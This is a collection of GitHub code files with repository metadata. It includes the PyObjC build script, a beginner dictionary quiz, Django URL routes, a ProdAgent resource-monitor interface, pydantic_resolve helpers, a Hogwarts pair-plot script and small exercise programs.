file:\n#os.environ['MACOSX_DEPLOYMENT_TARGET']='10.5'\n\n\n\n#if int(os.uname()[2].split('.')[0]) >= 10:\n# USE_SYSTEM_FFI = True\n\n\n# Some PiPy stuff\nLONG_DESCRIPTION=\"\"\"\nPyObjC is a bridge between Python and Objective-C. It allows full\nfeatured Cocoa applications to be written in pure Python. It is also\neasy to use other frameworks containing Objective-C class libraries\nfrom Python and to mix in Objective-C, C and C++ source.\n\nPython is a highly dynamic programming language with a shallow learning\ncurve. It combines remarkable power with very clear syntax.\n\nThe installer package installs a number of Xcode templates for\neasily creating new Cocoa-Python projects.\n\nPyObjC also supports full introspection of Objective-C classes and\ndirect invocation of Objective-C APIs from the interactive interpreter.\n\nPyObjC requires MacOS X 10.4 or later. This beta release requires\nMacOS X 10.5.\n\"\"\"\n\nfrom setuptools import setup, Extension, find_packages\nfrom setuptools.command import build_ext, install_lib\nimport os\n\nclass pyobjc_install_lib (install_lib.install_lib):\n def get_exclusions(self):\n result = install_lib.install_lib.get_exclusions(self)\n for fn in install_lib._install_lib.get_outputs(self):\n if 'PyObjCTest' in fn:\n result[fn] = 1\n\n for fn in os.listdir('PyObjCTest'):\n result[os.path.join('PyObjCTest', fn)] = 1\n result[os.path.join(self.install_dir, 'PyObjCTest', fn)] = 1\n\n\n return result\n\nclass pyobjc_build_ext (build_ext.build_ext):\n def run(self):\n if not USE_SYSTEM_LIBXML:\n build = self.get_finalized_command('build')\n xmldir=os.path.join(build.build_base, 'libxml')\n if not os.path.exists(xmldir):\n builddir=os.path.join(build.build_base, 'libxml-build')\n if os.path.exists(builddir):\n shutil.rmtree(builddir)\n os.makedirs(builddir)\n\n cflags = get_config_var('CFLAGS')\n if '-isysroot' in cflags:\n cflags = re.sub(r'-isysroot\\s*\\S*', '-isysroot /', cflags)\n\n p = subprocess.Popen(\n ['../../libxml2-src/configure',\n '--disable-dependency-tracking',\n '--enable-static',\n '--disable-shared',\n '--prefix=%s'%(os.path.abspath(xmldir),),\n '--with-minimum',\n 'CFLAGS=%s'%(cflags,),\n 'CC=%s'%(get_config_var('CC')),\n ], \n cwd=builddir)\n xit=p.wait()\n if xit != 0:\n shutil.rmtree(builddir)\n raise RuntimeError(\"libxml configure failed\")\n p = subprocess.Popen(\n ['make', 'install'],\n cwd=builddir)\n xit=p.wait()\n if xit != 0:\n raise RuntimeError(\"libxml install failed\")\n\n os.environ['PATH'] = xmldir + \"/bin:\" + os.environ['PATH']\n\n for ext in self.extensions:\n if ext.name == \"objc._objc\":\n if not USE_SYSTEM_LIBXML:\n ext.extra_link_args.append('-Wl,-search_paths_first')\n ext.extra_compile_args.extend(xml2config('--cflags'))\n ext.extra_link_args.extend(xml2config('--libs'))\n\n build_ext.build_ext.run(self)\n extensions = self.extensions\n self.extensions = [\n e for e in extensions if e.name.startswith('PyObjCTest') ]\n self.copy_extensions_to_source()\n self.extensions = extensions\n\ndef frameworks(*args):\n lst = []\n for arg in args:\n lst.extend(['-framework', arg])\n return lst\n\ndef IfFrameWork(name, packages, extensions, headername=None):\n \"\"\"\n Return the packages and extensions if the framework exists, or\n two empty lists if not.\n \"\"\"\n import os\n for pth in ('/System/Library/Frameworks', '/Library/Frameworks'):\n basedir = os.path.join(pth, name)\n if os.path.exists(basedir):\n if (headername is None) or os.path.exists(os.path.join(basedir, \"Headers\", headername)):\n return packages, extensions\n return [], []\n\n# Double-check\nif sys.platform != 'darwin':\n print(\"You're not running on MacOS X, and don't use GNUstep\")\n print(\"I don't know how to build PyObjC on such a platform.\")\n print(\"Please read the ReadMe.\")\n print(\"\")\n raise SystemExit(\"ObjC runtime not found\")\n\nfrom distutils.sysconfig import get_config_var\n\nCFLAGS=[ ]\n\n# Enable 'PyObjC_STRICT_DEBUGGING' to enable some costly internal \n# assertions. \nCFLAGS.extend([\n \n # Use this to analyze with clang\n #\"--analyze\",\n\n# The following flags are an attempt at getting rid of /usr/local\n# in the compiler search path.\n \"-DPyObjC_STRICT_DEBUGGING\",\n \"-DMACOSX\", # For libffi\n \"-DPyObjC_BUILD_RELEASE=%02d%02d\"%(tuple(map(int, platform.mac_ver()[0].split('.')[:2]))),\n \"-no-cpp-precomp\",\n \"-DMACOSX\",\n \"-g\",\n \"-fexceptions\",\n\n\n # Loads of warning flags\n \"-Wall\", \"-Wstrict-prototypes\", \"-Wmissing-prototypes\",\n \"-Wformat=2\", \"-W\", \n #\"-Wshadow\", # disabled due to warnings from Python headers\n \"-Wpointer-arith\", #\"-Wwrite-strings\",\n \"-Wmissing-declarations\",\n \"-Wnested-externs\",\n \"-Wno-long-long\",\n\n \"-Wno-import\",\n ])\n\n## Arghh, a stupid compiler flag can cause problems. Don't \n## enable -O0 if you value your sanity. With -O0 PyObjC will crash\n## on i386 systems when a method returns a struct that isn't returned\n## in registers. \nif '-O0' in get_config_var('CFLAGS'):\n print (\"Change -O0 to -O1\")\n CFLAGS.append('-O1')\n\nOBJC_LDFLAGS = frameworks('CoreFoundation', 'Foundation', 'Carbon')\n\nif not os.path.exists(os.path.join(SDKROOT, 'usr/include/objc/runtime.h')):\n CFLAGS.append('-DNO_OBJC2_RUNTIME')\n\n# Force compilation with the local SDK, compilation of PyObC will result in\n# a binary that runs on other releases of the OS without using a particular SDK.\npass\npass\n\n\n# We're using xml2, check for the flags to use:\ndef xml2config(arg):\n import os, shlex\n ln = os.popen('xml2-config %s'%(arg,), 'r').readline()\n ln = ln.strip()\n\n return map(fixsdk, shlex.split(ln))\n\n#CFLAGS.extend(xml2config('--cflags'))\n#OBJC_LDFLAGS.extend(xml2config('--libs'))\n\n\n\nCFLAGS.append('-Ibuild/codegen/')\n\n# Patch distutils: it needs to compile .S files as well.\nfrom distutils.unixccompiler import UnixCCompiler\nUnixCCompiler.src_extensions.append('.S')\ndel UnixCCompiler\n\n\n# \n# Support for an embedded copy of libffi\n#\nFFI_CFLAGS=['-Ilibffi-src/include', '-Ilibffi-src/powerpc']\n\n# The list below includes the source files for all CPU types that we run on\n# this makes it easier to build fat binaries on Mac OS X.\nFFI_SOURCE=[\n \"libffi-src/ffi.c\",\n \"libffi-src/types.c\",\n \"libffi-src/powerpc/ppc-darwin.S\",\n \"libffi-src/powerpc/ppc-darwin_closure.S\",\n \"libffi-src/powerpc/ppc-ffi_darwin.c\",\n \"libffi-src/powerpc/ppc64-darwin_closure.S\",\n \"libffi-src/x86/darwin64.S\",\n \"libffi-src/x86/x86-darwin.S\",\n \"libffi-src/x86/x86-ffi64.c\",\n \"libffi-src/x86/x86-ffi_darwin.c\",\n]\n\n\n\n#\n# Calculate the list of extensions: objc._objc + extensions for the unittests\n#\n\nif USE_SYSTEM_FFI:\n ExtensionList = [ \n Extension(\"objc._objc\",\n list(glob.glob(os.path.join('Modules', 'objc', '*.m'))),\n extra_compile_args=CFLAGS + ['-I' + os.path.join(SDKROOT, \"usr/include/ffi\")],\n extra_link_args=OBJC_LDFLAGS + [\"-lffi\"],\n depends=list(glob.glob(os.path.join('Modules', 'objc', '*.h'))),\n ),\n ]\n\nelse:\n ExtensionList = [ \n Extension(\"objc._objc\",\n FFI_SOURCE + list(glob.glob(os.path.join('Modules', 'objc', '*.m'))),\n extra_compile_args=CFLAGS + FFI_CFLAGS,\n extra_link_args=OBJC_LDFLAGS,\n depends=list(glob.glob(os.path.join('Modules', 'objc', '*.h'))),\n ),\n ]\n\nfor test_source in glob.glob(os.path.join('Modules', 'objc', 'test', '*.m')):\n name, ext = os.path.splitext(os.path.basename(test_source))\n\n ExtensionList.append(Extension('PyObjCTest.' + name,\n [test_source],\n extra_compile_args=['-IModules/objc'] + CFLAGS,\n extra_link_args=OBJC_LDFLAGS))\n\ndef package_version():\n fp = open('Modules/objc/pyobjc.h', 'r')\n for ln in fp.readlines():\n if ln.startswith('#define OBJC_VERSION'):\n fp.close()\n return ln.split()[-1][1:-1]\n\n raise ValueError(\"Version not found\")\n\nCLASSIFIERS = filter(None,\n\"\"\"\nDevelopment Status :: 5 - Production/Stable\nEnvironment :: Console\nEnvironment :: MacOS X :: Cocoa\nIntended Audience :: Developers\nLicense :: OSI Approved :: MIT License\nNatural Language :: English\nOperating System :: MacOS :: MacOS X\nProgramming Language :: Python\nProgramming Language :: Python :: 2\nProgramming Language :: Python :: 2.6\nProgramming Language :: Python :: 2.7\nProgramming Language :: Python :: 3\nProgramming Language :: Python :: 3.1\nProgramming Language :: Python :: 3.2\nProgramming Language :: Objective C\nTopic :: Software Development :: Libraries :: Python Modules\nTopic :: Software Development :: User Interfaces\n\"\"\".splitlines())\n\n\ndist = setup(\n name = \"pyobjc-core\", \n version = package_version(),\n description = \"Python<->ObjC Interoperability Module\",\n long_description = LONG_DESCRIPTION,\n author = \"Ronald Oussoren, bbum, SteveM, LeleG, many others stretching back through the reaches of time...\",\n author_email = \"pyobjc-dev@lists.sourceforge.net\",\n url = \"http://pyobjc.sourceforge.net/\",\n platforms = [ 'MacOS X' ],\n ext_modules = ExtensionList,\n packages = [ 'objc', 'PyObjCTools', ], \n #namespace_packages = ['PyObjCTools'],\n package_dir = { '': 'Lib', 'PyObjCTest': 'PyObjCTest' },\n extra_path = \"PyObjC\",\n cmdclass = {'build_ext': pyobjc_build_ext, 'install_lib': pyobjc_install_lib, 'build_py': oc_build_py, 'test': oc_test, 'egg_info':egg_info },\n options = {'egg_info': {'egg_base': 'Lib'}},\n classifiers = CLASSIFIERS,\n license = 'MIT License',\n download_url = 'http://pyobjc.sourceforge.net/software/index.php',\n test_suite='PyObjCTest.loader.makeTestSuite',\n zip_safe = False,\n# entry_points = {\n# \"egg_info.writers\": [\n# \"include/pyobjc-api.h = __main__:write_header\",\n# \"include/pyobjc-compat.h = __main__:write_header\",\n# ],\n# },\n **extra_args\n)\n","repo_name":"st3fan/osx-10.9","sub_path":"pyobjc-42/pyobjc/pyobjc-core/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":15028,"program_lang":"python","lang":"en","doc_type":"code","stars":100,"dataset":"github-code","pt":"5"} +{"seq_id":"11362690240","text":"from sys import exit\ndef dead(win):\n print(win)\n exit(0)\ndef agile():\n print(\"Do you want to check out the details of the programmer\")\n choice = input(\"> \")\n if choice == \"Yes\" or \"yes\":\n print(\"type name or age or height or town or school to check out his details\")\n stuff = {'Name': 'Aderemi', 'Age': '20', 'Town': 'Apomu', 'School': 'Obafemi Awolowo University'}\n while True:\n choice = input(\"> \")\n if choice == \"Name\":\n print(stuff['Name'])\n if choice == \"Age\":\n print(stuff['Age'])\n if choice == \"Town\":\n print(stuff['Town'])\n if choice == \"School\":\n dead(stuff['School'])\n else:\n print(\"Please read instruction\")\ndef dict():\n print(\"This is Aspiro's dictionary. It contains 10 words. You can checkout the words\")\n print(\"Type the word\")\n stuff = {'curtail': 'To reduce the duration of something', 'disparage': 'To discredit, undermine or ridicule someone or something',\n 'consign': 'To dispose someone or something', 'homogeneous': 'Something of the same kind', 'disintegrate': 'To break something into pieces'}\n while True:\n choice = input(\"> \")\n if choice == \"curtail\":\n print(stuff['curtail'])\n print(\"Do you want to type another word\")\n choice = input(\"> \")\n if choice == 'Yes':\n continue\n else:\n dead(\"You can checkout other words later\")\n else:\n print(\"Type another word\")\n if choice == \"disparage\":\n print(stuff['disparage'])\n print(\"Do you want to type another word?\")\n choice = input(\"> \")\n if choice == 'Yes':\n continue\n else:\n dead(\"You can checkout other words later\")\n else:\n print(\"Type another word\")\n if choice == \"consign\":\n print(stuff['consign'])\n print(\"Do you want to type another word?\")\n choice = input(\"> \")\n if choice == 'Yes':\n continue\n else:\n dead(\"You can checkout other words later\")\n else:\n print(\"Type another word\")\n if choice == \"homogeneous\":\n print(stuff['homogeneous'])\n print(\"Do you want to type another word?\")\n choice = input(\"> \")\n if choice == 'Yes':\n continue\n else:\n dead(\"You can checkout other words later\")\n else:\n print(\"Type another word\")\n if choice == \"disintegrate\":\n dead(stuff['disintegrate'])\n print(\"Do you want to type another word?\")\n choice = input(\"> \")\n if choice == 'Yes':\n continue\n else:\n dead(\"You can checkout other words later\")\n else:\n print(\"Type another word\")\ndict()\n","repo_name":"Aspiromaticc/Demo--Project","sub_path":"dict.py","file_name":"dict.py","file_ext":"py","file_size_in_byte":2979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11944876362","text":"from django.urls import path, re_path\n\nfrom . import views\n\nurlpatterns = [\n # path('', views.practice, name='practice'),\n path('gettask/', views.GetTasks.as_view(), name='get_tasks'),\n path('chainAcceptance/', views.ChainAcceptance.as_view(), name='chain_acceptance'),\n path('langDescription/', views.LangDescription.as_view() ,name='lang_description'),\n path('simplifyRegex/', views.SimplifyRegex.as_view() ,name='simplify_regex'),\n path('expressionBelongs/', views.ExpressionBelongs.as_view(), name='expression_belongs'),\n path('accordance/', views.Accordance.as_view(), name='accordance'),\n path('taskDFAtoregex/', views.TaskDFAtoregex.as_view(), name='task_DFA_to_regex'),\n path('validate_regex/', views.validate_regex, name='validate_regex'),\n path('send_result/', views.send_result, name='send_result'),\n]","repo_name":"Alutery/regular-expressions","sub_path":"practice/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25208114948","text":"#!/usr/bin/env python\n\"\"\"\n_MonitorInterface_\n\nInterface class for Monitor plugins.\n\nInterface is pretty simple:\n\nOverride the Call method to return a ResourceConstraint instance,\nwhich is the number of resources available for jobs and constraints.\n\nThe PluginConfig mechanism is used for this as well, so you can read\ndynamic parameters from self.pluginConfig\n\n\n\"\"\"\n\nimport logging\nfrom ProdAgentCore.PluginConfiguration import loadPluginConfig\nfrom ProdAgentCore.ResourceConstraint import ResourceConstraint\n\nfrom ProdAgentDB.Config import defaultConfig as dbConfig\nfrom ProdCommon.Database import Session\nfrom ProdAgent.ResourceControl.ResourceControlDB import ResourceControlDB\n\nfrom JobQueue.JobQueueDB import JobQueueDB\nfrom ProdMon.ProdMonDB import selectRcSitePerformance\n\nclass MonitorInterface:\n \"\"\"\n _MonitorInterface_\n \n \n Abstract Interface Class for Resource Monitor Plugins\n\n \"\"\"\n def __init__(self):\n self.performanceInterval = 259200 #3 days\n self.activeSites = []\n self.allSites = {}\n self.siteThresholds = {}\n self.siteAttributes = {}\n self.sitePerformance = {}\n self.retrieveSites()\n self.pluginConfiguration = None\n \n\n def newConstraint(self):\n \"\"\"\n _newConstraint_\n\n Factory method, returns a new, empty constraint\n\n \"\"\"\n return ResourceConstraint()\n\n\n def retrieveSites(self):\n \"\"\"\n _retrieveSites_\n\n Return a list of all sites from the ResourceControl DB\n and stores them in this object for access by the plugins\n \n \"\"\"\n Session.set_database(dbConfig)\n Session.connect()\n Session.start_transaction()\n \n resCon = ResourceControlDB()\n siteNames = resCon.siteNames()\n \n for site in siteNames:\n siteData = resCon.getSiteData(site)\n self.allSites[site] = siteData\n siteIndex = siteData['SiteIndex']\n if siteData['Active'] == True:\n self.activeSites.append(site)\n self.siteThresholds[site] = resCon.siteThresholds(siteIndex)\n self.siteAttributes[site] = resCon.siteAttributes(siteIndex)\n self.sitePerformance[site] = \\\n selectRcSitePerformance(siteIndex, self.performanceInterval)\n \n del resCon\n \n self.jq = JobQueueDB()\n self.sitejobs = self.jq.countQueuedActiveJobs()\n \n Session.commit_all()\n Session.close_all() \n return \n \n\n# def retrieveSitePerformance(self):\n# \"\"\"\n# get site performance - i.e. throughput and quality\n# \"\"\"\n# Session.set_database(dbConfig)\n# Session.connect()\n# Session.start_transaction()\n# \n# #only get for active sites\n# for site in self.activeSites:\n# index = self.allSites[site][\"SiteIndex\"]\n# self.sitePerformance[site] = \\\n# selectRcSiteDetails(index, self.performanceInterval)\n# \n# Session.commit_all()\n# Session.close_all() \n# return\n \n \n def dynamicallyAdjustThresholds(self, jobStatus):\n \"\"\"\n Increase site thresholds for sites with a high\n fraction of running jobs\n \n Takes a dict of {site : {job_type : {status : number}}}\n \n Where status is one of Queued, Running, Done, Other\n \n \"\"\"\n getThreshold = lambda x,y: x['%sThreshold' % y.lower()]\n \n for sitename, thresholds in self.siteThresholds.iteritems():\n\n if not self.allSites[sitename]['Active']:\n continue\n\n minSubmit = thresholds.get(\"minimumSubmission\", 1)\n maxSubmit = thresholds.get(\"maximumSubmission\", 100)\n siteIndex = self.allSites[sitename]['SiteIndex']\n\n for jobtype in ('Processing',): # processing only for the moment\n threshold = getThreshold(thresholds, jobtype)\n if threshold <= 0:\n continue\n sitejobstatus = jobStatus.get(siteIndex, {}).get(jobtype, {})\n queuing = sitejobstatus.get('Queued', 0)\n others = sitejobstatus.get('Other', 0)\n running = sitejobstatus.get('Running', 0)\n done = sitejobstatus.get('Done', 0)\n pending = queuing + others + done\n scheduler_total = queuing + others + done + running\n released = self.sitejobs.get(siteIndex, {}).get(jobtype, 0)\n logging.debug(\"Scheduler: %s/%s/%s/%s/%s %s jobs pending/running/done/other/released at %s\" % \\\n (queuing, running, done, others, released, jobtype, sitename))\n\n # attempt to keep a desired level of jobs queued at each site\n desired = max(minSubmit, threshold / 5)\n if desired > maxSubmit:\n desired = maxSubmit\n # increase thresholds if:\n # o less than desired queuing\n # o we will reach/exceed threshold in next submission\n # o new value is larger than the current threshold\n # o >75% released jobs running (ensure job tracking keeps up)\n # o less than 5 * threshold already released\n if pending < desired and \\\n released >= (threshold - maxSubmit) and \\\n (released + desired) > threshold and \\\n running > (released * 0.75) and \\\n released < (threshold * 5):\n thresholds['%sThreshold' % jobtype.lower()] = released + desired\n logging.info('Increased %s threshold to %s at %s due to low number of queued jobs' % (jobtype, \n getThreshold(thresholds, jobtype), sitename))\n\n\n def __call__(self):\n \"\"\"\n _operator()_\n\n Override this method to make whatever callouts you need to\n determine that you have resources available\n\n Should return a list of ResourceConstraint instances that will be\n published as ResourceAvailable events\n \"\"\"\n return [ResourceConstraint() ]\n\n \n","repo_name":"giffels/PRODAGENT","sub_path":"src/python/ResourceMonitor/Monitors/MonitorInterface.py","file_name":"MonitorInterface.py","file_ext":"py","file_size_in_byte":6256,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"138092363","text":"import asyncio\nimport types\nimport functools\nfrom collections import defaultdict\nfrom dataclasses import is_dataclass\nfrom pydantic import BaseModel, parse_obj_as, ValidationError\nfrom inspect import iscoroutine, isfunction\nfrom typing import Any, DefaultDict, Sequence, Type, TypeVar, List, Callable, Optional, Mapping, Union, Iterator, Dict, get_type_hints\nimport pydantic_resolve.constant as const\n\n\n\ndef get_class_field_annotations(cls: Type):\n anno = cls.__dict__.get('__annotations__') or {}\n return anno.keys()\n\n\nT = TypeVar(\"T\")\nV = TypeVar(\"V\")\n\ndef build_object(items: Sequence[T], keys: List[V], get_pk: Callable[[T], V]) -> Iterator[Optional[T]]:\n \"\"\"\n helper function to build return object data required by aiodataloader\n \"\"\"\n dct: Mapping[V, T] = {}\n for item in items:\n _key = get_pk(item)\n dct[_key] = item\n results = (dct.get(k, None) for k in keys)\n return results\n\n\ndef build_list(items: Sequence[T], keys: List[V], get_pk: Callable[[T], V]) -> Iterator[List[T]]:\n \"\"\"\n helper function to build return list data required by aiodataloader\n \"\"\"\n dct: DefaultDict[V, List[T]] = defaultdict(list) \n for item in items:\n _key = get_pk(item)\n dct[_key].append(item)\n results = (dct.get(k, []) for k in keys)\n return results\n\n\ndef replace_method(cls: Type, cls_name: str, func_name: str, func: Callable):\n KLS = type(cls_name, (cls,), {func_name: func})\n return KLS\n\n\ndef get_required_fields(kls: BaseModel):\n required_fields = []\n\n # 1. get required fields\n for fname, field in kls.__fields__.items():\n if field.required:\n required_fields.append(fname)\n\n # 2. get resolve_ and post_ target fields\n for f in dir(kls):\n if f.startswith(const.PREFIX):\n if isfunction(getattr(kls, f)):\n required_fields.append(f.replace(const.PREFIX, ''))\n\n if f.startswith(const.POST_PREFIX):\n if isfunction(getattr(kls, f)):\n required_fields.append(f.replace(const.POST_PREFIX, ''))\n \n return required_fields\n\n\ndef output(kls):\n \"\"\"\n set required as True for all fields\n make typescript code gen result friendly to use\n \"\"\"\n\n if issubclass(kls, BaseModel):\n\n def build():\n def schema_extra(schema: Dict[str, Any], model) -> None:\n fnames = get_required_fields(model)\n schema['required'] = fnames\n return schema_extra\n\n kls.Config.schema_extra = staticmethod(build())\n\n else:\n raise AttributeError(f'target class {kls.__name__} is not BaseModel')\n return kls\n\n\ndef mapper(func_or_class: Union[Callable, Type]):\n \"\"\"\n execute post-transform function after the value is reolved\n func_or_class:\n is func: run func\n is class: call auto_mapping to have a try\n \"\"\"\n def inner(inner_fn):\n\n # if mapper provided, auto map from target type will be disabled\n setattr(inner_fn, const.HAS_MAPPER_FUNCTION, True)\n\n @functools.wraps(inner_fn)\n async def wrap(*args, **kwargs):\n\n retVal = inner_fn(*args, **kwargs)\n while iscoroutine(retVal) or asyncio.isfuture(retVal):\n retVal = await retVal # get final result\n \n if retVal is None:\n return None\n\n if isinstance(func_or_class, types.FunctionType):\n # manual mapping\n return func_or_class(retVal)\n else:\n # auto mapping\n if isinstance(retVal, list):\n if retVal:\n rule = get_mapping_rule(func_or_class, retVal[0])\n return apply_rule(rule, func_or_class, retVal, True)\n else:\n return retVal # return []\n else:\n rule = get_mapping_rule(func_or_class, retVal)\n return apply_rule(rule, func_or_class, retVal, False)\n return wrap\n return inner\n\n\ndef get_mapping_rule(target, source) -> Optional[Callable]:\n # do noting\n if isinstance(source, target):\n return None\n\n # pydantic\n if issubclass(target, BaseModel):\n if target.Config.orm_mode:\n if isinstance(source, dict):\n raise AttributeError(f\"{type(source)} -> {target.__name__}: pydantic from_orm can't handle dict object\")\n else:\n return lambda t, s: t.from_orm(s)\n\n if isinstance(source, (dict, BaseModel)):\n return lambda t, s: t.parse_obj(s)\n\n else:\n raise AttributeError(f\"{type(source)} -> {target.__name__}: pydantic can't handle non-dict data\")\n \n # dataclass\n if is_dataclass(target):\n if isinstance(source, dict):\n return lambda t, s: t(**s)\n \n raise NotImplementedError(f\"{type(source)} -> {target.__name__}: faild to get auto mapping rule and execut mapping, use your own rule instead.\")\n\n\ndef apply_rule(rule: Optional[Callable], target, source: Any, is_list: bool):\n if not rule: # no change\n return source\n\n if is_list:\n return [rule(target, s) for s in source]\n else:\n return rule(target, source)\n \n\ndef ensure_subset(base):\n \"\"\"\n used with pydantic class to make sure a class's field is \n subset of target class\n \"\"\"\n def wrap(kls):\n assert issubclass(base, BaseModel), 'base should be pydantic class'\n assert issubclass(kls, BaseModel), 'class should be pydantic class'\n\n @functools.wraps(kls)\n def inner():\n for k, field in kls.__fields__.items():\n if field.required:\n base_field = base.__fields__.get(k)\n if not base_field:\n raise AttributeError(f'{k} not existed in {base.__name__}.')\n if base_field and base_field.type_ != field.type_:\n raise AttributeError(f'type of {k} not consistent with {base.__name__}' )\n return kls\n return inner()\n return wrap\n\n\ndef update_forward_refs(kls: Type[BaseModel]):\n \"\"\"\n recursively update refs.\n \"\"\"\n kls.update_forward_refs()\n setattr(kls, const.PYDANTIC_FORWARD_REF_UPDATED, True)\n\n for field in kls.__fields__.values():\n if issubclass(field.type_, BaseModel):\n update_forward_refs(field.type_)\n\n\ndef update_dataclass_forward_refs(kls):\n if not getattr(kls, const.DATACLASS_FORWARD_REF_UPDATED, False):\n anno = get_type_hints(kls)\n kls.__annotations__ = anno\n setattr(kls, const.DATACLASS_FORWARD_REF_UPDATED, True)\n\n for _, v in kls.__annotations__.items():\n t = shelling_type(v)\n if is_dataclass(t):\n update_dataclass_forward_refs(t)\n\n\ndef try_parse_data_to_target_field_type(target, field_name, data):\n \"\"\"\n parse to pydantic or dataclass object\n 1. get type of target field\n 2. parse\n \"\"\"\n field_type = None\n\n # 1. get type of target field\n if isinstance(target, BaseModel):\n _fields = target.__class__.__fields__\n field_type = _fields[field_name].outer_type_\n\n # handle optional logic\n if data is None and _fields[field_name].required == False:\n return data\n\n elif is_dataclass(target):\n field_type = target.__class__.__annotations__[field_name]\n\n # 2. parse\n if field_type:\n try:\n result = parse_obj_as(field_type, data)\n return result\n except ValidationError as e:\n print(f'Warning: type mismatch, pls check the return type for \"{field_name}\", expected: {field_type}')\n raise e\n \n else:\n return data #noqa\n\n\ndef is_optional(annotation):\n annotation_origin = getattr(annotation, \"__origin__\", None)\n return annotation_origin == Union \\\n and len(annotation.__args__) == 2 \\\n and annotation.__args__[1] == type(None) # noqa\n\ndef is_list(annotation):\n return getattr(annotation, \"__origin__\", None) == list\n\ndef shelling_type(type):\n while is_optional(type) or is_list(type):\n type = type.__args__[0]\n return type","repo_name":"allmonday/pydantic-resolve","sub_path":"pydantic_resolve/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":8186,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"5"} +{"seq_id":"7723483386","text":"#!/usr/bin/python3\n# -*-coding:Utf-8 -*\n\nimport argparse\nimport os.path\nimport pandas as pd\nfrom pandas.api.types import is_numeric_dtype\nfrom matplotlib import pyplot as plt\nimport seaborn as sns\n\ndef is_valid_file(parser, arg):\n if not os.path.exists(arg):\n parser.error(\"The file {} does not exist!\".format(arg))\n elif not arg.endswith('.csv'):\n parser.error(\"The file {} has no csv extension!\".format(arg))\n else:\n return arg\n\ndef read_data(data_file, content):\n try:\n df = None\n if content == \"train\":\n df = pd.read_csv(data_file, usecols=['Hogwarts House', 'Astronomy', 'Herbology', 'Ancient Runes'])\n elif content == \"normal\":\n df = pd.read_csv(data_file, usecols=lambda col: col not in ['Index', 'Arithmancy', 'Care of Magical Creatures', 'Defense Against the Dark Arts'])\n else:\n df = pd.read_csv(data_file, usecols=lambda col: col not in ['Index'])\n palette={\"Gryffindor\": \"r\", \"Slytherin\": \"darkgreen\", \"Ravenclaw\": \"royalblue\", \"Hufflepuff\": \"gold\"}\n sns.pairplot(df, hue=\"Hogwarts House\", height=1, plot_kws={\"s\": 3}, palette=palette)\n plt.show()\n except:\n print(\"Une erreur est survenue pendant l'exploitation du data set\")\n exit()\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"data_file\", help=\"the csv file containing the data set\", type=lambda x: is_valid_file(parser, x))\n parser.add_argument(\"-c\", \"--content\", help=\"the pair_plot you want to display\", choices=[\"train\", \"normal\", \"all\"], default=\"normal\")\n args = parser.parse_args()\n read_data(args.data_file, args.content)\n \nif __name__ == \"__main__\":\n main()","repo_name":"deveul/dslr","sub_path":"pair_plot.py","file_name":"pair_plot.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9958356999","text":"value = int(input('Enter a value:'))\nL = input('Enter list of values:').split(' ')\ncount = 0\nfor i in L:\n if int(i) <= value:\n count += 1\n print(i)\nif count == 0:\n print('All items are greater')\n \n","repo_name":"muhammed-ayman/CSCI-101-course-labs-solutions","sub_path":"03/05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"1183160053","text":"\"\"\"BlueprintEntity class\"\"\"\nfrom homeassistant.helpers.update_coordinator import CoordinatorEntity\nfrom homeassistant.core import callback\n\nfrom .const import DOMAIN\n\n\nclass TTLockEntity(CoordinatorEntity):\n \"\"\"TTLock Base entity\"\"\"\n\n def __init__(self, coordinator, config_entry, lock_data):\n super().__init__(coordinator)\n self.config_entry = config_entry\n self.lock_data = lock_data\n self.lock_id = lock_data[\"lockId\"]\n\n @property\n def available(self):\n \"\"\"Return avalibility\"\"\"\n return self.lock_data is not None\n\n @callback\n def _handle_coordinator_update(self) -> None:\n \"\"\"Handle updated data from the coordinator.\"\"\"\n if self.lock_id in self.coordinator.data:\n self.lock_data = self.coordinator.data[self.lock_id]\n self.async_write_ha_state()\n\n @property\n def device_info(self):\n return {\n \"identifiers\": {\n (DOMAIN, self.lock_id),\n (DOMAIN, self.lock_data[\"lockMac\"]),\n },\n \"name\": self.lock_data[\"lockName\"],\n # \"model\": VERSION,\n # \"manufacturer\": NAME,\n }\n","repo_name":"nikolai5slo/integration_ttlock","sub_path":"custom_components/integration_ttlock/entity.py","file_name":"entity.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74412181592","text":"import matplotlib.pyplot as plt\nimport yfinance as yf\n\n\ndef graphTicker(ticker):\n '''Plot ticker'''\n tickerTitle = ticker\n ticker = yf.Ticker(ticker)\n tickerClose = [i for i in ticker.history(period='max')['Close']]\n plt.title(tickerTitle)\n plt.plot(tickerClose)\n plt.show()\n\n\nwhile True:\n graphTicker(input('Enter Ticker symbol: \\n'))\n","repo_name":"danielberrones/Stock-Market-Graph","sub_path":"graphTicker.py","file_name":"graphTicker.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23084002179","text":"\nmemo1={}\nmemo={}\ndef main(x,y):\n if x==0 or y==0:\n return 1\n if x in memo1:\n result1=int(memo1[x])\n result2=int(memo[y])\n if result1==result2:\n \n return memo1[x]\n else:\n answer= main(x,y-1)+main(x-1,y)\n memo1[x]=answer\n memo[y]=answer\n return answer\n\nprint(main(2,2))","repo_name":"MohadesehRastegar/ProjectEuler","sub_path":"LatticePaths.py","file_name":"LatticePaths.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"15875133049","text":"import math\nimport sys\n\n\nif __name__ == '__main__':\n n = int(input())\n a_list = list(map(int, input().split()))\n\n max_a = max(a_list)\n 